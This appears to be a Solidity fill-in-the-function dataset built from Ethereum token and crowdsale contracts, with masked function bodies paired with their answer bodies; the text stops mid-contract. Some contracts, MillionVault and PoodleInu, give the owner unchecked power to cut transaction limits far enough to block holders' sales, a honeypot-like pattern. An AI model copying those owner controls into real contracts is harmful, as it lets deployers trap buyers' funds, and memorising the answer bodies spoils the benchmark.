// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public {<FILL_FUNCTION_BODY> }
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
<FILL_FUNCTION>
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} |
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
| constructor(uint256 _openingTime, uint256 _closingTime) public | /**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
constructor(uint256 _openingTime, uint256 _closingTime) public |
88194 | MintableToken | mint | contract MintableToken is TokenFreeze, Whitelisted {
event Mint(address indexed to, uint256 amount);
event MintFinished();
string public constant name = "Vertex";
string public constant symbol = "VTEX";
uint8 public constant decimals = 5; // 18 is the most common number of decimal places
bool public mintingFinished = false;
mapping (address => bool) public whitelist;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
} | contract MintableToken is TokenFreeze, Whitelisted {
event Mint(address indexed to, uint256 amount);
event MintFinished();
string public constant name = "Vertex";
string public constant symbol = "VTEX";
uint8 public constant decimals = 5; // 18 is the most common number of decimal places
bool public mintingFinished = false;
mapping (address => bool) public whitelist;
modifier canMint() {
require(!mintingFinished);
_;
}
<FILL_FUNCTION>
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
} |
totalSupply = totalSupply.add(_amount);
require(totalSupply <= 30000000000000);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
| function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) | /**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) |
42528 | REAPITPresale | transferFrom | contract REAPITPresale is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "REAPP";
name = "REAPIT Presale";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x3953017AF23aB99a7d40f3D26F1595f27c91345f] = _totalSupply;
emit Transfer(address(0), 0x3953017AF23aB99a7d40f3D26F1595f27c91345f, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | contract REAPITPresale is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "REAPP";
name = "REAPIT Presale";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x3953017AF23aB99a7d40f3D26F1595f27c91345f] = _totalSupply;
emit Transfer(address(0), 0x3953017AF23aB99a7d40f3D26F1595f27c91345f, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) |
69636 | MillionVault | _approve | contract MillionVault is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'mVault ';
string private _symbol = 'MVAULT';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> }
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
} | contract MillionVault is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'mVault ';
string private _symbol = 'MVAULT';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
<FILL_FUNCTION>
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
} |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
| function _approve(address owner, address spender, uint256 amount) internal virtual | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual |
11064 | PoodleInu | manualBurnLiquidityPairTokens | contract PoodleInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Poodle Inu", "Poodle") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 4;
uint256 _buyLiquidityFee = 10;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 14;
uint256 _sellDevFee = 1;
uint256 totalSupply = 1 * 1e12 * 1e18;
//maxTransactionAmount = totalSupply * 1 / 1000; // 0.1% maxTransactionAmountTxn
maxTransactionAmount = totalSupply;
maxWallet = totalSupply; // .5% maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) {
require(newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= 0, "Cannot set maxTransactionAmount lower than 0%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
